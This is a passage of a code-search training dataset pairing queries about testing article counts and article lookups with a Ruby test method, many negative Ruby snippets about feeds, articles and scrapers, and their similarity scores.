"0.5268404",
"0.5267023",
"0.5255612",
"0.52475846",
"0.52397406",
"0.5238983",
"0.5232102",
"0.52313024",
"0.5231061",
"0.5225034",
"0.5224545",
"0.52244586",
"0.5222564",
"0.5222395",
"0.5210614",
"0.5200534",
"0.5200534",
"0.5198184",
"0.51979953",
"0.51933676",
"0.51825523",
"0.5182009",
"0.51779985",
"0.51732934",
"0.5161274",
"0.5159774",
"0.5155499",
"0.5149094",
"0.51459885",
"0.51452976",
"0.5144743"
] |
0.549128
|
33
|
Test counting articles now
|
def test_count_articles_for_user_with_feed
feed = UserFeed.find(6) #NErr the Blog
count = VwArticlesForUser.count_articles_for_user(feed, :feed, 3)
assert count == 2
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def how_many?\n return default_article_sync if articles.length == 0\n last_db = articles.last.published\n count = 0\n feed.entries.each do |entry|\n count += 1 if entry.published > last_db\n end\n count > 20 ? 20 : count\n end",
"def test_count_find_articles_for_user_args_with_feed\n feed = UserFeed.find(5) #New York Times\n args = VwArticlesForUser.find_articles_for_user_args(true, feed, :feed, 3, nil, nil)\n assert args[:select] == \"DISTINCT id\"\n assert args[:conditions] == [\"feed_id = ? AND (article_user_id = ? OR article_user_id IS NULL)\", 4, 3]\n assert args[:order] == \"pub_date DESC\"\n assert args[:limit].blank?\n assert args[:offset].blank?\n end",
"def set_total_article(startdate, enddate)\n\t\tstart_date = startdate.to_date.beginning_of_day\n\t end_date = enddate.to_date.end_of_day\n\t\ttotal_clicks_count = Click.where(:created_at => start_date..end_date).count\n\t\treturn total_clicks_count\n\tend",
"def comic_count\r\n \tsorted_articles.length\r\n end",
"def default_article_sync\n feed.entries.count > 20 ? 20 : feed.entries.count\n end",
"def test_count\n Vault::Log.count('countable')\n assert_equal '1', logged_data['count#test-app.countable']\n assert_equal 'test-deploy', logged_data['source']\n end",
"def test_stories_find_upcoming\n assert_not_nil @rdigg.stories.find_upcoming(:count => 3)\n end",
"def artclear\n # select articles to be deleted\n @articles= Feedentry.where(pubon: /#{params[:date]}/,type: /#{params[:type]}/,article: /#{params[:article]}/)\n prev=Feedentry.count\n # deletion of articles from database\n @articles.destroy\n new=Feedentry.count\n @artcount=prev-new\n end",
"def count_unarchived_articles\n Article.count_without_status(VisibleFeature::ARCHIVED)\n end",
"def test_count\n @tests.count\n end",
"def first_author_publications_cnt()\n self.investigator_abstracts.find(:all,\n :conditions => [\"is_first_author = :is_first_author and end_date is null\",\n {:is_first_author => true}] ).length\n end",
"def perform(count)\n Article.last_created(count)\n end",
"def show\n @article = Article.find(params[:id])\n @comment_count = @article.comments.size\n seach_months_article\n end",
"def test_get_date\n assert_equal(0,@day_count.get_date())\n end",
"def test_count\n sparql = SparqlTest.handle\n (1..100).each do |i|\n sparql.insert([ SparqlTest.urn( __method__ ), 'me:num', i ])\n end\n check = sparql.count([ SparqlTest.urn( __method__ ), 'me:num', :o ])\n sparql.empty( :all )\n assert_equal( 100, check )\n end",
"def test_stories_find_upcoming_diggs\n assert_not_nil @rdigg.stories.find_upcoming_diggs(:count => 3)\n end",
"def show\n @article_with_counts = Article.with_current_and_all_prisoner_count(@article.id).first\n end",
"def count\n @count ||= Date.current.year - @release_date.year\n end",
"def image_count\n working_article.images.length\n end",
"def test_eager_loading_with_no_counter\n @article = @user.articles.create(state: 'unpublished')\n user = User.includes(:counters).first\n assert_equal 0, user.published_count\n\n end",
"def test_calorie_count\n # Given: a cookie with 5g of Sugar and 8g of Butter\n c=Cookie.new(5,8)\n # When: we call 'calorie_count' method\n result=c.calorie_count\n #\n #Then\n assert_equal(result,92)\n end",
"def test_stories_find_upcoming_comments\n assert_not_nil @rdigg.stories.find_upcoming_comments(:count => 3)\n end",
"def test_total_on\n assert_equal 37, users(:jordan).total_on(Date.today)\n assert_equal 0, users(:jordan).total_on(1.year.ago)\n end",
"def count; end",
"def count; end",
"def count; end",
"def test_it_can_count_items_per_id\n assert_equal 475, @sa.item_count_per_merchant_id.count\n end",
"def outdated_count\n outdated.count\n end",
"def count\n end",
"def count\n end",
"def test_stories_find_popular\n assert_not_nil @rdigg.stories.find_popular(:count => 3)\n end",
"def show\n @article = Article.increment(:views_count, 1)\n end",
"def test_uses\n assert_equal 0, @gim.uses\n assert_nil @gim.last_use_date\n \n Parser.get_url('gim \"porche 911\"')\n @gim.reload\n \n assert_equal 1, @gim.uses\n assert_not_nil @gim.last_use_date\n assert Time.now - @gim.last_use_date < 5 # seconds\n end",
"def show\n @article.update(view_count: @article.view_count.to_i + 1)\n end",
"def test_increment_count_days\n seed = 10\n prng = Random.new seed\n id = 1\n pros = Prospector.new id, prng\n pros.increment_count_days\n assert_equal 1, pros.count_days\n end",
"def test_get_bookmarks\n exp_num_bms = count_bookmarks(1)\n act_num_bms = @bs.get_bookmarks.count\n assert_equal(exp_num_bms, act_num_bms) \n end",
"def count; info['doc_count']; end",
"def count\n @count\n end",
"def first_author_publications_cnt()\n self.investigator_abstracts.first_author_abstracts.length\n end",
"def get_last_news(options = {})\n count = options[:count] || 5\n language = options[:language] || @item[:language]\n articles_hash = sorted_articles.group_by {|item| item[:canonical_identifier]}\n articles = []\n articles_hash.each do |ident, items|\n if !ident.blank?\n articles << translated_identifier(ident, language)\n else\n articles.concat(items)\n end\n end\n articles.sort! {|a, b| b.attributes[:created_at] <=> a.attributes[:created_at]}\n return articles[0, count]\nend",
"def test_find_count\n assert_equal(6, @coll.find().limit(2).count())\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count \n puts \"Tu as scrappé #{@result_scrap.count} élémént(s)\"\n return @result_scrap.count\n end",
"def test_stories_find_popular_diggs\n assert_not_nil @rdigg.stories.find_popular_diggs(:count => 3)\n end",
"def test_ID_25890_published_posts_02\n login $user_1_email, $master_password\n go_to_edit_profile_page\n $profiles_your_posts.click\n $profile_published.when_present().click\n sleep 5\n verify_text \"Your Posts\",\"Drafts\", \"Scheduled\", \"Published\"\n assert $profile_published.exists?\n assert $count_of_published.exists?\n end",
"def test_ID_25889_current_drafts_04\n login_as_user1\n go_to_edit_profile_page\n $profile_your_posts.click\n sleep 5\n verify_post_and_draft_count_updated_after_draft_posted\n end",
"def test_it_can_count_invoices_per_id\n assert_equal 475, @sa.invoice_count_per_merchant_id.count\n end",
"def tickets_purchased\n return film().count\n end",
"def latest_published count\n\t self.find(:all, :order => \"published_on DESC\", :conditions => \"published_on > 0 AND live = 1\", :limit => count )\n\tend",
"def increment_votes\n Article.increment_vote_cache(article_id)\n end",
"def count\n @documents.count\n end",
"def test_find_articles_for_user_with_feed\n feed = UserFeed.find(6) #Err the Blog\n articles = VwArticlesForUser.find_articles_for_user(feed, :feed, 3)\n assert articles.size == 2\n assert !articles.has_next_page\n assert !articles.has_prev_page\n assert articles.prev_page.nil?\n assert articles.next_page.nil?\n assert articles.page == 1\n assert_article_inclusion(articles, [5, 6])\n end",
"def topics_count\n object.topics.count\n end",
"def here_now_count\n fetch unless @json.has_key?(\"hereNow\")\n @json[\"hereNow\"][\"count\"]\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def how_many_active_announcements\n return announcements.where('expires_at >= ?', Date.today).count\n end",
"def count\n # implement in subclasses\n end",
"def todays_auto_tweet_count\n self.twitter_tweets.count\n end",
"def cool_view_count\n view_count\n end",
"def test_stories_find_popular_comments\n assert_not_nil @rdigg.stories.find_popular_comments(:count => 3)\n end",
"def test_0600_count\n @@log.debug \"test_0600_count starts\" if @@log.debug?\n assert_respond_to(@list, :count, \"test_0600_count_respond\")\n # Count of all items in the collection\n assert(@list.count == 4, \"test_0600_count_count\")\n # Count of a single present object\n assert(@list.count(@bsb) == 1, \"test_0600_count_oneobj_1\")\n # Count of a non-present object\n assert(@list.count(42) == 0, \"test_0600_count_oneobj_2\")\n # Count of all objects for which the block returns \n result = @list.count {|obj| obj.ndata > 2}\n assert(result == 2, \"test_0600_count_trueres\")\n @@log.debug \"test_0600_count ends\" if @@log.debug?\n end",
"def get_number_of_not_queried_notices\n number_of_new_notices = Notice.where(sorted: false).all.count - @@number_of_new_notices\n render text: number_of_new_notices\n end",
"def test_stories_find_all\n assert_not_nil @rdigg.stories.find_all(:count => 3)\n end",
"def count_tag_article(name)\n count = Article.tagged_with(name).count\n return count\n end",
"def show\n @article = Article.find(params[:id])\n if !@article.approved and @article.published\n redirect_to :action => 'unapproved'\n else\n @article.increment!(:click_count)\n @editors = @article.article_editors.distinct\n @num_edits = @article.article_editors.size\n if @num_edits > 0\n @last_update = @article.article_editors.last.created_at\n else\n @last_update = @article.created_at\n end\n\n @advert = Advert.random('news_articles')\n fresh_when :last_modified => @article.updated_at.utc, :etag => @article\n end\n end",
"def count\n @count ||= 0\n @count += 1\n end",
"def count\n load\n @result_count\n end",
"def count\n @count ||= get_count\n end",
"def artstore\n\n prev=Feedentry.count\n feedcount = Feedentry.count\n @sources= Source.all\n # iterate for all sources\n @sources.each do |source| \n # call the function in Feedentry model to store articles of a given URL\n feedcount = Feedentry.update_from_feed(source.url,source.name,feedcount)\n end\n # delete invalid data\n @feeds=Feedentry.where(pubon: nil)\n @feeds.destroy \n new =Feedentry.count\n @artcount=new-prev \n end",
"def count\n @count ||= documents.size\n end",
"def todos_count\n todos.count\n end",
"def fetch_articles\n return unless any_new?\n (how_many? - 1).downto(0) do |index|\n next if added?(index)\n Article.create(title: feed.entries[index].title,\n description: description(index),\n published: feed.entries[index].published,\n link: feed.entries[index].url,\n site_id: id,\n readingtime: reading_time(index))\n end\n end",
"def recently_created_articles\n # 現在時刻から指定分前または1時間前までの間に登録された記事を取得する\n if params[:minutes]\n passed = params[:minutes].to_i\n else\n passed = 60\n end\n target_datetime = Time.current.ago passed.minutes\n @articles = Article.accessibles(current_user).recently_created(@user, target_datetime)\n logger.debug target_datetime\n respond_to do |format|\n format.text{ render text: @articles.to_xml(include: { user: { only: [:nickname] } }, only: [:id, :user_id, :title, :created_at]), layout: false }\n end\n #skip_types: true, dasherize: false,\n rescue\n respond_to do |format|\n format.text { render text: get_resource('error') } #\"getting articles failed.\"\n end\n end",
"def total_activity_count\n return self.timeline_events.find(:all, :conditions => {:event_type => \"document_item_changed\"}).length + \n self.questions.count +\n self.questions.answered.count\n end",
"def count\n run.count\n end",
"def count\n @count ||= 0\n end",
"def compute_chapter\n unless Article.published.blank?\n Article.published.reverse.index(self) + 1\n end\n end",
"def test_ID_25889_current_drafts_05\n login $user_1_email, $master_password\n go_to_edit_profile_page\n $profiles_your_posts.click\n \n numberOfDraftCurrent = count_draft_current\n go_to_draft_tab_on_your_post_page\n delete_draft_profile \"atest\"\n go_to_draft_tab_on_your_post_page\n numberOfDraftAfterDeleting = count_draft_current\n assert numberOfDraftAfterDeleting == numberOfDraftCurrent - 1 \n end",
"def test_stories_find_top\n assert_not_nil @rdigg.stories.find_top(:count => 3)\n end",
"def articles_published\n @articles_published\n end",
"def calculate_article_read_time\n time = description.split(' ').length\n self.read_time = (time.to_f / 250).ceil.to_s\n end",
"def create\n @article = Article.new(params[:article])\n #@article.update_attribute(:edit_count, Article.increment_counter)\n\n if @article.save\n redirect_to(@article, :flash => {:success => 'Article was successfully created.'})\n else\n flash[:error] = \"There was a problem creating the article.\"\n render :action => \"new\"\n end\n end",
"def count_posts(people)\n get_posts(people.as(:person)).count_section(:person)\nend",
"def counting\n puts \"hard to do right\"\n end",
"def test_guest_count\n [\n # Episodes without guests:\n [1, 2, 4, 8, 9, 18, 19, 21],\n # Episodes wit one guest\n [3, 5, 6, 7, (10..17).to_a, (22..46).to_a, 48, 49, 51, 52, 54, 56, 58, 59, ].flatten,\n # Episodes wit two guests\n [47, 50, 53, 55, 60, ],\n # Episodes wit three guests\n [20, 57, ],\n ].each_with_index do |episode_ids, guest_count|\n episode_ids.each do |id|\n episode = @episodes.find(\"cre#{\"%03d\" % id}\")\n assert(episode)\n assert_equal(guest_count, episode.guests.size)\n end\n end\n end",
"def test_ID_25890_published_posts_01\n login $user_1_email, $master_password\n go_to_edit_profile_page\n $profiles_your_posts.click\n postCount = count_post_current\n if (postCount < 5)\n i=1\n while i < 5\n $browser.goto($patch_note)\n \t$post_pick_group.when_present().click\n \t$browser.link(:text, Regexp.new(groupName)).click\n \t$post_compose_note.when_present().set(\"Note field populated by automated test.\")\n \t$post_now_button.when_present().click\n i = i+1\n end\n end \n end",
"def test04_post_open_news_250RepostArticle\n\t\trepostArticlePop\n\t\tsleep 3\n\t\trepostPopulate250\n\t\tsleep 3\n\n\t\tassert $repost_confirmation.exists?\n\tend",
"def show\n @article.views = @article.views + 1\n @article.save\n end",
"def test_can_find_all_by_created_at\n item = repository.find_all_by_created_at(\"2012-03-27 14:53:59 UTC\")\n assert_equal 24, item.count\n end",
"def update_recent_activities_counter\n qty = votes.where(created_at: 1.month.ago.beginning_of_month..1.month.ago.end_of_month).count\n comments.where(created_at: 1.month.ago.beginning_of_month..1.month.ago.end_of_month).count + \n shares.where(created_at: 1.month.ago.beginning_of_month..1.month.ago.end_of_month).count\n update_column(:qty_recent_activities, qty)\n end",
"def ntest_number_of_pages\n assert_equal(3,@transformer.number_of_pages(jobs(:job_56)))\n end",
"def drip_articles\n # articles that the user can see based on the duration of their subscription, if any\n sub = subscriptions.first\n @articles = []\n\n if self.access_admin?\n @articles = Article\n .where(drip_content: true).to_a\n elsif sub\n @articles = Article\n .where(drip_content: true)\n .where('reveal_after_days <= ?', sub.subscribed_days).to_a\n end\n @articles.sort! { |a, b| b.reveal_after_days <=> a.reveal_after_days }\n @articles.sort! { |a, b|\n if a.intro?\n -1\n elsif b.intro? == a.intro?\n 0\n else\n 1\n end\n }\n end",
"def count\n call_client(:count)\n end",
"def count\n collection.count\n end",
"def get_total_clicks_for_all_articles()\n return @articles_dao.get_total_clicks_for_all_articles()\n end",
"def count(name=nil, tag=nil)\n sleep 1\n current_visits_count = page.all('tbody.study-events-visits tr').count || 0\n if current_visits_count > 0\n 10.times do\n break if page.find('tbody.study-events-visits').has_css?('tr', count: current_visits_count)\n sleep 1\n current_visits_count = page.all('tbody.study-events-visits tr').count\n end\n end\n current_visits_count\n end"
] |
[
"0.653821",
"0.65060407",
"0.63467366",
"0.6325941",
"0.63191587",
"0.6227495",
"0.6171253",
"0.6129673",
"0.61212873",
"0.6094264",
"0.60913837",
"0.60743654",
"0.6015664",
"0.59964204",
"0.5993536",
"0.5945016",
"0.5944026",
"0.5926869",
"0.5912753",
"0.59084845",
"0.58910954",
"0.58780426",
"0.58656925",
"0.58627474",
"0.58627474",
"0.58627474",
"0.58359075",
"0.5815978",
"0.57919896",
"0.57919896",
"0.5787363",
"0.5783314",
"0.57677346",
"0.5761424",
"0.5753221",
"0.57484",
"0.5747661",
"0.5742696",
"0.57340616",
"0.5728262",
"0.57121027",
"0.5710075",
"0.5710075",
"0.5710075",
"0.5707889",
"0.57008064",
"0.56964815",
"0.5694094",
"0.5693534",
"0.5692141",
"0.5690063",
"0.5674506",
"0.5669885",
"0.5669708",
"0.5667102",
"0.56642",
"0.5657774",
"0.5657774",
"0.5657774",
"0.5654492",
"0.56538695",
"0.564557",
"0.56298435",
"0.5607121",
"0.56049514",
"0.5596303",
"0.558654",
"0.5585105",
"0.55812085",
"0.5579331",
"0.5569149",
"0.5565012",
"0.556107",
"0.55575395",
"0.55568635",
"0.55561924",
"0.5551293",
"0.5548325",
"0.5544546",
"0.55286777",
"0.5527562",
"0.5523292",
"0.5519927",
"0.5516536",
"0.5516222",
"0.5512567",
"0.55118805",
"0.5510411",
"0.5503323",
"0.54972404",
"0.5496274",
"0.54804766",
"0.5478699",
"0.5477889",
"0.5475937",
"0.5475199",
"0.5444277",
"0.54441947",
"0.54426044",
"0.5439802"
] |
0.7160953
|
0
|
Test finding the articles
|
def test_find_articles_for_user_with_feed
feed = UserFeed.find(6) #Err the Blog
articles = VwArticlesForUser.find_articles_for_user(feed, :feed, 3)
assert articles.size == 2
assert !articles.has_next_page
assert !articles.has_prev_page
assert articles.prev_page.nil?
assert articles.next_page.nil?
assert articles.page == 1
assert_article_inclusion(articles, [5, 6])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_articles(*args)\n (1..@how_many).each { |n| Article.create(:name => n, :author_id => 1) }\n results = Article.find(*args)\n if results.size > results.page_size\n page_count, num_on_last_page = how_many.divmod(results.page_size)\n page_count = page_count + 1 if num_on_last_page > 0\n else\n page_count = 1\n end\n if (page_count != results.page_count)\n raise \"Expected #{page_count} pages but there were #{results.page_count}\"\n end\n yield results if block_given?\n results\n end",
"def fetch_articles\n current_feed = get_rss_feed( self.url )\n current_feed.entries.each do |article|\n unless self.array_of_article_urls.include?(article.url)\n a = Article.new(title: article.title, url: article.url, clicks: 0)\n a.title ||= article.summary\n self.articles.push a \n end\n end\n\tend",
"def fetch_articles\n\t\trequire 'open-uri'\n\t\tnewest_article = Article.limit(1).order(\"date DESC\")\n\t\ttrigger = false\n\t\tarticles = Array.new\n\t\tcache_article = Article.new\n\n\t\tfile = open(URL)\n\t\tcontents = file.readlines\n\t\tcontents.each do |line|\n\t\t\tif trigger\n\t\t\t\t#Date\n\t\t\t\tif line =~ /[1-3]?[0-9]\\.1?[0-9]\\.201[0-9]{1}/\n\t\t\t\t\tcache_article.date = line.slice(/[1-3]?[0-9]\\.1?[0-9]\\.201[0-9]{1}/)\n\t\t\t\t\tif (newest_article[0] != nil && cache_article.date < newest_article[0].date)\n\t\t\t\t\t\treturn nil\n\t\t\t\t\tend\n\t\t\t\t#Title\n\t\t\t\telsif line =~ /<h2>.+<\\/h2>/\n\t\t\t\t\tline.slice!(\"<h2>\")\n\t\t\t\t\tline.slice!(\"<\\/h2>\")\n\t\t\t\t\tcache_article.title = replace_uml line.strip\n\t\t\t\t#Text\n\t\t\t\telsif line =~ /<p[^>]*>/\n\t\t\t\t\tcache_article.text = fetch_text cache_article.url\n\t\t\t\t\tcache_article.text = replace_uml cache_article.text\n\t\t\t\t\timage_url = fetch_image_url cache_article.url\n\t\t\t\t\tcache_article.news_image = URI.parse(image_url) \n\t\t\t\t\tarticle = Article.create(title: cache_article.title, url: cache_article.url, text: cache_article.text, date: cache_article.date, news_image: cache_article.news_image)\n\t\t\t\t\ttrigger = false\n\t\t\t\t#url\n\t\t\t\telsif line =~ /\\/de\\/newsdetail.+.html/\n\t\t\t\t\tcache_article.url = \"http://www.ehco.ch\" + line.slice(/\\/de\\/newsdetail.+.html/)\n\t\t\t\tend\n\t\t\telsif line.include? \"news-element newsarchiv\"\n\t\t\t\ttrigger = true\t\t\t\t\t\n\t\t\tend\n\t\tend\n\tend",
"def articles\n\n end",
"def isArticle?(url)\n\t\n\t# possible parameters:\n\t# page contains a date\n\nend",
"def articles\n respond_to?(:collectionHasArticle) ? collectionHasArticle : []\n end",
"def test_count_articles_for_user_with_feed\n feed = UserFeed.find(6) #NErr the Blog\n count = VwArticlesForUser.count_articles_for_user(feed, :feed, 3)\n assert count == 2\n end",
"def get_works\n tag = params['query']\n\n @articles = get_articles(tag)\n \n @found = 1 \n if @articles.nil?\n @msg = \"None found, try again...\"\n @found = 0\n @articles = []\n end\n\n render \"articles\"\n\n end",
"def find\n assert_not_nil @rdigg.stories.find(\"7987660\")\n end",
"def fetch_articles(url)\n req = open(url)\n response_body = req.read\n articles_json = JSON.parse(response_body)\n articles_array = articles_json[\"articles\"]\n last_articles = []\n articles_array.each do |a|\n article = Article.find_by(title:a[\"title\"])\n unless article #check if article is already in the database\n author = a[\"author\"].blank? ? a[\"source\"][\"name\"] : a[\"author\"]\n article = Article.new(title:a[\"title\"],author: author,source:a[\"source\"][\"name\"],url:a[\"url\"],date:a[\"publishedAt\"],content:a[\"content\"] || \"no content available\",image:a[\"urlToImage\"],description:a[\"description\"])\n article.publication_list.add(a[\"source\"][\"id\"])\n # extractor = Phrasie::Extractor.new\n # tagging = extractor.phrases(a[\"content\"],occur:1)\n # tags = tagging.each{|p|p[0]}\n # article.theme_list.add(tags)\n article.save!\n end\n end\nend",
"def find_article\n\n @article = Article.find(params[:id]) # Fetch the article by ID\n\n end",
"def make_articles\n EndangeredSpecies::Scraper.new.make_articles\n end",
"def test_find_articles_for_user_args_with_feed\n feed = UserFeed.find(8) #Digg\n args = VwArticlesForUser.find_articles_for_user_args(false, feed, :feed, 3, nil, nil)\n assert args[:select] == \"DISTINCT id, title, link, description, content, unread,user_article_id, rating\"\n assert args[:conditions] == [\"feed_id = ? AND (article_user_id = ? OR article_user_id IS NULL)\", 8, 3]\n assert args[:order] == \"pub_date DESC\"\n assert args[:limit].blank?\n assert args[:offset].blank?\n end",
"def fetch_articles\n return unless any_new?\n (how_many? - 1).downto(0) do |index|\n next if added?(index)\n Article.create(title: feed.entries[index].title,\n description: description(index),\n published: feed.entries[index].published,\n link: feed.entries[index].url,\n site_id: id,\n readingtime: reading_time(index))\n end\n end",
"def list_articles()\n\nend",
"def test_count_find_articles_for_user_args_with_feed\n feed = UserFeed.find(5) #New York Times\n args = VwArticlesForUser.find_articles_for_user_args(true, feed, :feed, 3, nil, nil)\n assert args[:select] == \"DISTINCT id\"\n assert args[:conditions] == [\"feed_id = ? AND (article_user_id = ? OR article_user_id IS NULL)\", 4, 3]\n assert args[:order] == \"pub_date DESC\"\n assert args[:limit].blank?\n assert args[:offset].blank?\n end",
"def test_article_all\n assert_query(Article.all, :Article, :all)\n end",
"def test_stories_find_by_topic \n assert_not_nil @rdigg.stories.find_by_topic(\"apple\")\n end",
"def find_article\n @article = Article.find(params[:id])\n end",
"def index\n # @articles = Article.all\n @articles = Search::SearchArticle.new(params).find\n end",
"def test_stories_find_popular_by_container\n assert_not_nil @rdigg.stories.find_popular_by_container(\"technology\")\n end",
"def search\n @articles = Article.search(params[:query], params[:page])\n end",
"def articles_by_tag\n # find tag\n @tag = Tag.find(params[:tag_id])\n # if tag is found, load articles which are accessible by current uer\n unless @tag.blank?\n @articles = @tag.articles.accessibles(current_user).paginate(page: params[:page], per_page: Article::PER_PAGE)\n end\n @more_link_path = more_articles_path(search_word: params[:search_word], page: @articles.next_page, articles_type: Article::List::Type::TAG, tag_id: params[:tag_id])\n unless @articles.any?\n flash[:alert] = get_resource 'no_article'\n end\n end",
"def find_sources\n @articles_found = {}\n @topic = params[:article][:q]\n # Check wikipedia\n @articles_found[:wikipedia] = top_article_wikipedia(params[:article][:q])\n @articles_found.filter! { |_source, article| !article.nil? }\n render 'pages/home'\n end",
"def test_stories_find_all\n assert_not_nil @rdigg.stories.find_all(:count => 3)\n end",
"def index\n if params[:search]\n #MAKE SEARCH WITH SQL COMMAND ## W H E R E ##\n @articles = Article.all.select{|art| art.title.downcase.include?(params[:search].downcase)}\n else\n @articles = Article.all\n end\n\n if @articles == []\n @s = true\n end\n end",
"def get_new_articles\n # Download the RSS feed and save to self.doc\n get_source\n \n # Keep track of which articles are in the feed \n articles = []\n \n article_links = (self.doc/'li.mjItemMain').collect do |mjItem|\n mjItem.at('a.mjLinkItem')\n end\n \n # For each item in the RSS feed \n article_links.each_with_index do |link, index|\n \n # Create or update the article in the db\n articles << Article.factory(\n :category => self.category,\n :description => '',\n :feed => self,\n :url => \"http://online.wsj.com#{link.attributes['href']}\",\n :priority => index\n )\n end\n \n articles\n end",
"def test_stories_find_diggs\n assert_not_nil @rdigg.stories.find_diggs(:count => 3)\n end",
"def test02_login_search_article_TC_24325\n\t\t$browser.goto($patch)\n\t\t$search_text_field.set(\"Automated article\")\n\t\t$search_button.click\n\t\t$search_result_article.when_present.click\n\t\tsleep 2\n\t\t\n\t\tassert $browser.text.include?(\"Comment\")\n\tend",
"def get_articles(author_id)\n\n @author = Author.find(author_id)\n\n @articles = []\n @author.creations.each do |creation|\n temp = Article.find(creation.article_id)\n\n if !@articles.include? temp\n @articles << Article.find(creation.article_id)\n end\n\n end\n # puts \"ARTICLES\"\n\n # ap @articles\n\n return @articles\n end",
"def all_articles\n json = self.class.get(\"#{QUERY1 + PARAMETERS_API}\")\n puts \"QUERY IS: #{QUERY1 + PARAMETERS_API}\"\n response = json['response']\n articles = response['results']\n\n articles.each do |article|\n parse_article(article, nil)\n end\n end",
"def test_stories_find_popular_by_topic\n assert_not_nil @rdigg.stories.find_popular_by_topic(\"apple\")\n end",
"def articles\n @articles\n end",
"def scrape\n @articles = []\n # CODE HERE\n url = 'http://api.nytimes.com/'\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = false\n request_url = url + 'svc/search/v2/articlesearch.'\\\n 'json?fq=romney&facet_field=day_of_week&begin_date'\\\n \"=#{(Date.today - 7).to_s.delete!('-')}&end_date\"\\\n \"=#{Date.today.to_s.delete!('-')}&api-key=#{@nyt_api_key}\"\n response = http.send_request('GET', request_url)\n json_message = JSON.parse(response.body)\n json_message.fetch('response').fetch('docs').each do |key|\n article = Article.create(author: nil,\n title: key.fetch('headline').fetch('main')\n .to_s,\n summary: key.fetch('snippet') ? (key.fetch('abstract')) : nil,\n imageURL: nil,\n source: key.fetch('source'),\n pubDate: DateTime.parse(key.fetch('pub_date')\n .to_s),\n link: key.fetch('web_url').to_s)\n @articles << article\n end\n @articles\n end",
"def test_get_page_content\r\n t = AuthorInfo.get_page({\"parse\" => {\"text\" => {\"*\" => \"some content\"}}})\r\n assert_equal(true, t === \"some content\")\r\n end",
"def call\n articles = JSON.parse(Base64.urlsafe_decode64(@params['articles']))\n Success(articles)\n rescue StandardError\n Failure(Value::Result.new(status: :bad_request, message: 'Article list not found'))\n end",
"def find_article\n @article = Article.find_by(slug: params[:article_slug])\n end",
"def get_next_article(url)\n uri = URI(URI::Parser.new.escape(url))\n response = Net::HTTP.get(uri)\n\n doc = Nokogiri::HTML.parse(response)\n\n #article = doc.at('a:contains(\"Article suivant\")')\n article = doc.at('a:contains(\"Nächster Artikel\")')\n article['href']\nend",
"def scrape_article\n\n url='http://www.theage.com.au/rssheadlines/political-news/article/rss.xml'\n puts url\n open(url) do |rss|\n\n feed = RSS::Parser.parse(rss)\n\n #For each article gather the relevent information and put it in the article\n feed.items.each do |item|\n\n temp_article=Article.new\n temp_article.author=item.author\n temp_article.title=item.title\n # input was in form of several paragraphs in html format\n # the code splits the paragraphs to arrays so only the relevent\n # text is displayed\n temp_article.summary = item.description.split('</p>')[1]\n temp_article.images=get_http(item.description.split('</p>')[0].split('><')[1])\n\n temp_article.source=AgeImporter.source_name\n temp_article.link=item.link\n temp_article.date=item.pubDate.to_date\n\n\n\n if(temp_article.date <= @end && temp_article.date>=@start && is_unique(temp_article))\n # if article is with the start and end date insert into array and is unique\n\n temp_article.save\n\n\n end\n\n end\n\n\n\n\n end\n end",
"def search\n if params[:titulo]\n\n @articles = Article.titulo(params[:titulo])\n\n else\n\n @articles = Article.all\n\n end\n end",
"def test_stories_find_popular_diggs\n assert_not_nil @rdigg.stories.find_popular_diggs(:count => 3)\n end",
"def test_stories_find_top_by_topic \n assert_not_nil @rdigg.stories.find_top_by_topic(\"apple\")\n end",
"def test02_logged_out_search_article_TC_24324\n\t\tpostArticleSetupQuick\n\t\tpostLogout\n\t\tsleep 2\n\t\t$search_text_field.set(\"Automated article\")\n\t\t$search_button.click\n\t\t$search_result_article.when_present.click\n\t\tsleep 2\n\t\t\n\t\tbegin\n\t\t\tassert $browser.text.include?(\"Comment\")\n\t\t\trescue => e\n\t\t\t\tputs e\n\t\t\tputs \"PSL2_T2: FAILED! User unable to locate post.\"\n\t\tend\n\tend",
"def test_stories_find_upcoming_diggs\n assert_not_nil @rdigg.stories.find_upcoming_diggs(:count => 3)\n end",
"def test_stories_find_popular\n assert_not_nil @rdigg.stories.find_popular(:count => 3)\n end",
"def articles\r\n ARTICLE[@climate_service.clothes]\r\n end",
"def index\n @articles = Article.all\n @article = Article.all\n @article.each do |article|\n article = parsearArticulo(article)\n end\n end",
"def test_articles_included_with_consumer_business_endpoint\n # Setup\n query = get_valid_article_queries.sample\n\n get_consumer_search_resp(query, 'los angeles, ca')\n assert_response(@response, :success)\n refute_empty(@parsed_response['SearchResult']['BusinessListings'])\n\n int_xxid = @parsed_response['SearchResult']['BusinessListings'].sample['Int_Xxid']\n\n # Step 1\n get_consumer_business_resp(int_xxid)\n assert_response(@response, :success)\n assert(@parsed_response['Business'])\n refute(@parsed_response['RelatedArticles'])\n\n # Step 2\n search_opts = { 'include_related_articles' => 'true' }\n\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n assert(@parsed_response['Business'])\n refute_empty(@parsed_response['RelatedArticles'])\n business_ahc = @parsed_response['Business']['AllHeadingCodes']\n\n check = []\n @parsed_response['RelatedArticles'].each do |article|\n unless business_ahc & article['CategoryList']\n check << \"Business All Heading Codes: #{business_ahc} to match CategoryList: #{article['CategoryList']}\"\n end\n end\n assert_empty(check)\n end",
"def set_article\n @article = find_one(Article, articles_url)\n end",
"def scrape\n\t\topen(@url) do |rss|\n\t\t\tfeed = RSS::Parser.parse(rss)\n\t\t\tfeed.items.each do |item|\n\t\t\t\tif date_valid?(item.pubDate) and item.title\n\t\t\t\t\tcreate_article(@default_author, item.title, item.description,\\\n\t\t\t\t\t\t\"\", @source_name, item.pubDate.to_date, item.link)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@articles\n\tend",
"def test_media_find_by_type\n assert_not_nil @rdigg.media.find_by_type(\"news\")\n end",
